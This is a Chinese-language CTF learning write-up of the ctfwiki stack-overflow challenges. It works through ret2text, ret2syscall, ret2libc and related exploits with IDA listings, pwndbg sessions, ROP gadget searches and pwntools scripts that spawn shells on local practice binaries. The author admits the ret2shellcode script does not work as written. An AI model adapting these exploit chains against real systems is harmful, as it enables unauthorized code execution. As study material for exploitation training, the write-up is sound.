ctfwiki基础栈溢出部分题解
ret2text 我们在IDA中反编译该文件 并查看main函数 得到的C代码如下
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main(int argc, const char **argv, const char **envp) { char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(s); printf("Maybe I will tell you next time !"); return 0; }
我们看到了gets函数 一个非常常见的栈溢出点 若是从IDA的分析来看 栈结构应该是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 +-----------------+ | retaddr | +-----------------+ | saved ebp | ebp--->+-----------------+ | | | | | | | | | | | | s,ebp-0x64-->+-----------------+ | | esp,s-0x1c-->|-----------------|
后面在查看secure函数的时候 我们看到了调用系统函数system的地方 注意那边的/bin/sh 他的地址是0x0804863A
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 .text:080485FD public secure .text:080485FD secure proc near .text:080485FD .text:080485FD input = dword ptr -10h .text:080485FD secretcode = dword ptr -0Ch .text:080485FD .text:080485FD ; __unwind { .text:080485FD push ebp .text:080485FE mov ebp, esp .text:08048600 sub esp, 28h .text:08048603 mov dword ptr [esp], 0 ; timer .text:0804860A call _time .text:0804860F mov [esp], eax ; seed .text:08048612 call _srand .text:08048617 call _rand .text:0804861C mov [ebp+secretcode], eax .text:0804861F lea eax, [ebp+input] .text:08048622 mov [esp+4], eax .text:08048626 mov dword ptr [esp], offset unk_8048760 .text:0804862D call ___isoc99_scanf .text:08048632 mov eax, [ebp+input] .text:08048635 cmp eax, [ebp+secretcode] .text:08048638 jnz short locret_8048646 .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system .text:08048646 .text:08048646 locret_8048646: ; CODE XREF: secure+3B↑j .text:08048646 leave .text:08048647 retn .text:08048647 ; } // starts at 80485FD .text:08048647 secure endp
那么我们可以流程化的写个exp出来
1 2 3 4 5 from pwn import * sh = process('./ret2text') success_addr = 0x804863a sh.sendline('a'*(0x64+4)+p32(success_addr)) sh.interactive()
但是结果就是打不通 和wp上不一样的地方是s距离ebp的地址并不是64 而是6c
1 sh.sendline('a'*(0x6c+4)+p32(success_addr))
更改payload之后执行并拿到系统bash 不过为什么呢 分析原因也只能是IDA上分析的栈结构错误 我们使用gdb的pwndbg进行动调 在此之前我们先使用cyclic获取一段长为200的字符串 然后输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ gdb -q ./ret2text pwndbg: loaded 192 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./ret2text...done. pwndbg> r Starting program: /home/harvey/Desktop/Pwn/CTFwiki/Basic ROP/ret2text/ret2text There is something amazing here, do you know anything? aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── EAX 0x0 EBX 0x0 ECX 0x21 EDX 0xf7fb8890 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0x0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c EBP 0x62616163 ('caab') ESP 0xffffcec0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab' EIP 0x62616164 ('daab') ───────────────────────────────────[ DISASM ]─────────────────────────────────── Invalid address 0x62616164
程序在这个时候出现了溢出 程序想要返回0x62616164值中的地址时无法返回于是报错 而这个地址正是我们需要利用的地址 我们只需要知道在这个地址之前填充了多少字符即可
1 2 pwndbg> cyclic -l 0x62616164 112 //6c+4--->112
当然 为了验证到底是6c还是64直接去观察栈结构即可 具体的肯定是在输入字符时的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 00 :0000 │ esp 0xffffd660 —▸ 0xffffd67c ◂— 'dawoxiansigema' 01 :0004 │ 0xffffd664 ◂— 0x0 02 :0008 │ 0xffffd668 ◂— 0x1 03 :000c│ 0xffffd66c ◂— 0x0 ... ↓ 2 skipped 06 :0018 │ 0xffffd678 —▸ 0xf7ffd000 ◂— 0x2bf24 07 :001c│ eax 0xffffd67c ◂— 'dawoxiansigema' 08 :0020 │ 0xffffd680 ◂— 'xiansigema' 09 :0024 │ 0xffffd684 ◂— 'sigema' 0a :0028 │ edx-2 0xffffd688 ◂— 0x616d 0b :002c│ 0xffffd68c —▸ 0xf7fbb224 (__elf_set___libc_subfreeres_element_free_mem__) —▸ 0xf7f44850 (free_mem) ◂— endbr32 0c :0030 │ 0xffffd690 ◂— 0x0 0d :0034 │ 0xffffd694 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c 0e :0038 │ 0xffffd698 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0 0f :003c│ 0xffffd69c —▸ 0xf7fc04e8 (__exit_funcs_lock) ◂— 0x0 10 :0040 │ 0xffffd6a0 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c 11 :0044 │ 0xffffd6a4 —▸ 0xf7fe22f0 ◂— endbr32 12 :0048 │ 0xffffd6a8 ◂— 0x0 13 :004c│ 0xffffd6ac —▸ 0x8048425 (_init+9 ) ◂— add ebx, 0x1bdb 14 :0050 │ 0xffffd6b0 —▸ 0xf7fbd3fc (__exit_funcs) —▸ 0xf7fbe180 (initial) ◂— 0x0 15 :0054 │ 0xffffd6b4 ◂— 0x40000 16 :0058 │ 0xffffd6b8 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1 17 :005c│ 0xffffd6bc —▸ 0x8048722 (__libc_csu_init+82 ) ◂— add edi, 1 18 :0060 │ 0xffffd6c0 ◂— 0x1 19 :0064 │ 0xffffd6c4 —▸ 0xffffd784 —▸ 0xffffd8a1 ◂— '/ctf/work/ret2text' 1a :0068 │ 0xffffd6c8 —▸ 0xffffd78c —▸ 0xffffd8b4 ◂— 'LESSOPEN=| /usr/bin/lesspipe %s' 1b :006c│ 0xffffd6cc —▸ 0xf7e06479 (__cxa_atexit+41 ) ◂— add esp, 0x1c 1c :0070 │ 0xffffd6d0 —▸ 0xf7fe22f0 ◂— endbr32 1d :0074 │ 0xffffd6d4 ◂— 0x0 1e :0078 │ 0xffffd6d8 —▸ 0x80486db (__libc_csu_init+11 ) ◂— add ebx, 0x1925 1f :007c│ 0xffffd6dc ◂— 0x0 20 :0080 │ 0xffffd6e0 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c 21 :0084 │ 0xffffd6e4 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c 22 :0088 │ ebp 0xffffd6e8 ◂— 0x0 23 :008c│ 0xffffd6ec —▸ 0xf7decee5 (__libc_start_main+245 ) ◂— add esp, 0x10
6e8-67c=6c 所以这里证明了确实是 最终修改wp 成功拿到本机的shell
ret2shellcode 先用checksec看一下情况如何
1 2 3 4 5 6 7 [*] '/Users/apple/Desktop/ret2shellcode' Arch : i386-32 -little RELRO : Partial RELRO Stack : No canary found NX : NX disabled PIE : No PIE (0x8048000 ) RWX : Has RWX segments
好在NX是关闭的 也没有开启金丝雀 数据段还有可以利用的可能
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp ) { char s; setvbuf (stdout, 0 , 2 , 0 ); setvbuf (stdin, 0 , 1 , 0 ); puts ("No system for you this time !!!" ); gets (&s); strncpy (buf2, &s, 0x64u); printf ("bye bye ~" ); return 0 ; }
在ida静态分析中 很明显没有可以利用的现成system函数了 我们如果需要提权需要我们自己构造 我们看到了gets函数 很高危 除此之外就只有strncpy函数或许可以被利用了 跟进一步 看看buf2参数是否可以利用 strncpy函数本身是系统定义的 无需查看
1 2 3 4 .bss :0804A080 ; char buf2[100 ] .bss :0804A080 buf2 db 64h dup (?) ; DATA XREF : main+7B↑o .bss :0804A080 _bss ends .bss :0804A080
我们可以看到所在段是bss段 据说这段的数据有存在命令执行的可能 进入后尝试vmmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> vmmap 0x8048000 0x8049000 r-xp 1000 0 /ctf/work/ret2shellcode 0x8049000 0x804a000 r--p 1000 0 /ctf/work/ret2shellcode 0x804a000 0x804b000 rw-p 1000 1000 /ctf/work/ret2shellcode 0x804b000 0x806d000 rw-p 22000 0 [heap] 0xf7dd2000 0xf7deb000 r--p 19000 0 /usr/lib/i386-linux-gnu/libc-2.31 .so 0xf7deb000 0xf7f46000 r-xp 15b000 19000 /usr/lib/i386-linux-gnu/libc-2.31 .so 0xf7f46000 0xf7fba000 r--p 74000 174000 /usr/lib/i386-linux-gnu/libc-2.31 .so 0xf7fba000 0xf7fbb000 ---p 1000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31 .so 0xf7fbb000 0xf7fbd000 r--p 2000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31 .so 0xf7fbd000 0xf7fbe000 rw-p 1000 1ea000 /usr/lib/i386-linux-gnu/libc-2.31 .so 0xf7fbe000 0xf7fc1000 rw-p 3000 0 [anon_f7fbe]0xf7fc9000 0xf7fcb000 rw-p 2000 0 [anon_f7fc9]0xf7fcb000 0xf7fcf000 r--p 4000 0 [vvar]0xf7fcf000 0xf7fd1000 r-xp 2000 0 [vdso]0xf7fd1000 0xf7fd2000 r--p 1000 0 /usr/lib/i386-linux-gnu/ld-2.31 .so 0xf7fd2000 0xf7ff0000 r-xp 1e000 1000 /usr/lib/i386-linux-gnu/ld-2.31 .so 0xf7ff0000 0xf7ffb000 r--p b000 1f000 /usr/lib/i386-linux-gnu/ld-2.31 .so 0xf7ffc000 0xf7ffd000 r--p 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.31 .so 0xf7ffd000 0xf7ffe000 rw-p 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.31 .so 0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
然而除了最后一个stack以外 没有任何一个有rwx权限 这好像和ctfwiki上面写的不太一样 后来查过资料 linux内核5.0以上 bss段就默认没有可执行权限了 由于我的pwndocker内核>5.0了 于是此题只能作罢
1 2 3 4 5 6 from pwn import *sh = process ('./ret2shellcode' ) shellcode = asm (shellcraft.sh ()) buf2_addr = 0x0804a000 sh.sendline = (shellcode.ljust (112 ,'a' )+p32 (buf2_addr)) sh.interactive ()
(虽然打不通 不过倒是发现了vscode+pwndocker+hyperpwn的绝妙组合)不过这种情况肯定会遇到 总是有解决办法的捏 具体可以看我写的get_started_3dsctf_2016这题
ret2syscall 1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp ) { int v4; setvbuf (stdout, 0 , 2 , 0 ); setvbuf (stdin, 0 , 1 , 0 ); puts ("This time, no system() and NO SHELLCODE!!!" ); puts ("What do you plan to do?" ); gets (&v4); return 0 ; }
checksec情况还是一样就开了个NX 看到这回情况是在ret2shellcode上升级而来的 去除了shellcode的可能性 尝试利用系统调用 我们的思路是利用execve函数 此题是getshell 如果是openflag的话可以去这个网站
利用系统调用来调用函数和利用返回地址调用函数略微有不同 利用返回地址调用主要是覆盖返回地址 引导EIP跳转执行地址 而利用系统调用则是要覆盖寄存器 对于execve函数而言
1 2 3 4 5 execve ("/bin/sh" ,NULL ,NULL )EAX ---> 0xb EBX ---> /bin/ shECX ---> 0x0 EDX ---> 0x0
在系统调用之前 必须将四个寄存器设置为上述情况 然后进行系统调用就会调用execve了 当然上述情况都是利用ROPgadget搜寻程序内包含相应字符串地址进行的
1 ROPgadget --binary rop --only 'pop|ret' | grep 'eax' 弹出栈顶至eax寄存器
当然可以一个一个进行操作 如果没有单个寄存器操作的也可以包含几个一起的
1 2 ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
然后寻找系统中断以及/bin/sh字符串相对应的函数地址 对于栈结构的构造原理不多说 可以查看我写的GET_STARTED_3DSCTF_2016题解
1 2 3 4 5 6 7 8 9 ROPgadget --binary rop --string '/bin/sh' Strings information============================================================ 0x080be408 : /bin/ shROPgadget --binary rop --only 'int' Gadgets information============================================================ 0x08049421 : int 0x80
EXP如下 成功执行shel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *sh = process('./rop' ) pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 bin_sh_addr = 0x080be408 int_80_addr = 0x08049421 padding = 112 payload = padding * 'a' payload += p32(pop_eax_ret) payload += p32(0xb ) payload += p32(pop_edx_ecx_ebx_ret) payload += p32(0x0 ) payload += p32(0x0 ) payload += p32(bin_sh_addr) payload += p32(int_80_addr) sh.sendline(payload) sh.interactive()
当然肯定存在搜不到/bin/sh的情况 那我们可以自己输入他 同样利用系统调用 调用read函数进行输入
1 read (0 ,buf_addr,10 ) #具体寄存器情况查看之前那个网站 不再赘述
只不过read函数需要利用bss段写入 此时是不需要bss段权限的 因为我们自带执行函数 相当于这次我们只是写个字符串进去 上次ret2shellcode是写个可以交互的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *import timesh = process ('./rop' ) context.log_level = 'debug' elf = ELF ('./rop' ) pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_80_addr = 0x0806f230 buf = elf.bss () payload = 112 * 'a' payload += p32 (pop_eax_ret) payload += p32 (0x3 ) payload += p32 (pop_edx_ecx_ebx_ret) payload += p32 (0x10 ) payload += p32 (buf) payload += p32 (0x0 ) payload += p32 (int_80_addr) payload += p32 (pop_eax_ret) payload += p32 (0xb ) payload += p32 (pop_edx_ecx_ebx_ret) payload += p32 (0x0 ) payload += p32 (0x0 ) payload += p32 (buf) payload += p32 (int_80_addr) sh.sendline (payload) sleep (1 )sh.send ('/bin/sh\\x00' ) sleep (1 )sh.interactive ()
不同的是 对于多个系统中断时 不能用一般的int 0x80 得用这个地址
1 2 3 4 $ ROPgadget --binary rop --opcode cd80c3 Opcodes information============================================================ 0x0806f230 : cd80c3
ret2libc2 大部分内容比较常规 主要是了解plt动态链接的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *import time context.log_level = 'debug' sh = process ('./ret2libc2' ) gets_plt_addr = 0x08048460 system_plt_addr = 0x08048490 buf = 0x804a050 pop_addr = 0x0804843d payload = 112 * 'a' payload += p32 (gets_plt_addr) payload += p32 (pop_addr) payload += p32 (buf) payload += p32 (system_plt_addr) payload += 'bbbb' payload += p32 (buf) sh.sendline (payload) sleep (1 )sh.sendline ('/bin/sh\\x00' ) sh.interactive ()
注意buf地址 原本想使用elf.bss() 后来发现一开始的段落并没有写入权限
1 2 3 4 pwndbg> vmmap 0x8048000 0x8049000 r-xp 1000 0 /ctf/work/ret2libc2 0x8049000 0x804a000 r--p 1000 0 /ctf/work/ret2libc2 0x804a000 0x804b000 rw-p 1000 1000 /ctf/work/ret2libc2
所以buf地址从0x804a000开始取 也别从边界加一点点就可以 在此题中动态链接这个知识点体现的不够突出 和静态链接情况差不多
ret2libc3 (出libc泄漏不给libc的都是老流氓)调了一整天了 就是不通 已经放弃了的时候 尝试更新了一下libc-database 在更新了俩小时之后 终于通了 wp都不想写了 注意几点
1 2 3 1. 关于延迟绑定 泄漏函数起点的选择必须是当前输入函数之前已经执行过的2. __libc_start_main.got 是plt重定向时需要调用的 可以视为参数3. libc中每个函数相对基址 以及函数间地址偏移都是固定的 所以可以现有地址-libc的offset=libc的基址
核心的思路就是利用puts函数将got表打印出来 由于动态链接puts函数只有plt表 那么就需要在前期puts被调用过 还有就是plt表存储的是指令 got表存储的是指令地址 而我们的返回地址必须存储的是指令 因此不能直接使用got表 这题还有一个很有意思的_start函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text :080484D0 .text :080484D0 public _start .text :080484D0 _start proc near ; DATA XREF : LOAD :08048018 ↑o .text :080484D0 xor ebp, ebp .text :080484D2 pop esi .text :080484D3 mov ecx, esp .text :080484D5 and esp, 0FFFFFFF0h .text :080484D8 push eax .text :080484D9 push esp ; stack_end .text :080484DA push edx ; rtld_fini .text :080484DB push offset __libc_csu_fini ; fini .text :080484E0 push offset __libc_csu_init ; init .text :080484E5 push ecx ; ubp_av .text :080484E6 push esi ; argc .text :080484E7 push offset main ; main .text :080484EC call ___libc_start_main .text :080484F1 hlt .text :080484F1 _start endp .text :080484F1
_start函数是对于计算机而言的入口 main函数是对用户而言的 _start其中有一行是对esp进行and操作 从而堆栈平衡 所以我们第二次直接返回main函数的话 栈就会多/少几个字符 去验证这一点是比较麻烦的 所以干脆第二次返回到_start函数即可 那你要是不正常返回可能报错数据无法正常输出哦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/ bin/env python from pwn import *from LibcSearcher import LibcSearcher sh = process ('ret2libc3' ) ret2libc3 = ELF ('./ret2libc3' ) puts_plt = ret2libc3.plt ['puts' ] libc_start_main_got = ret2libc3.got ['__libc_start_main' ] #main = ret2libc3.symbols ['main' ] start = ret2libc3.symbols ['_start' ] payload = flat (['A' * 112 , puts_plt, start, libc_start_main_got]) sh.sendlineafter ('Can you find it !?' , payload) libc_start_main_addr = u32 (sh.recv ()[0 :4 ]) libc = LibcSearcher ('__libc_start_main' , libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump ('__libc_start_main' ) system_addr = libcbase + libc.dump ('system' ) binsh_addr = libcbase + libc.dump ('str_bin_sh' ) payload = flat (['A' * 112 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline (payload) sh.interactive ()
这个pwndocker初始的glibc可能版本太高了点 导致做这几题一直崩 于是去下了个glibc-all-in-one 自己手动配置一下2.23的环境 具体download自行百度
1 2 patchelf --set-interpreter /glibc-all-in -one/libs/2.23 -0ubuntu11.3_i386/ld-2.23 .so /ctf/work/ret2libc3 patchelf --set-rpath /glibc-all-in -one/libs/2.23 -0ubuntu11.3_i386 /ctf/work/ret2libc3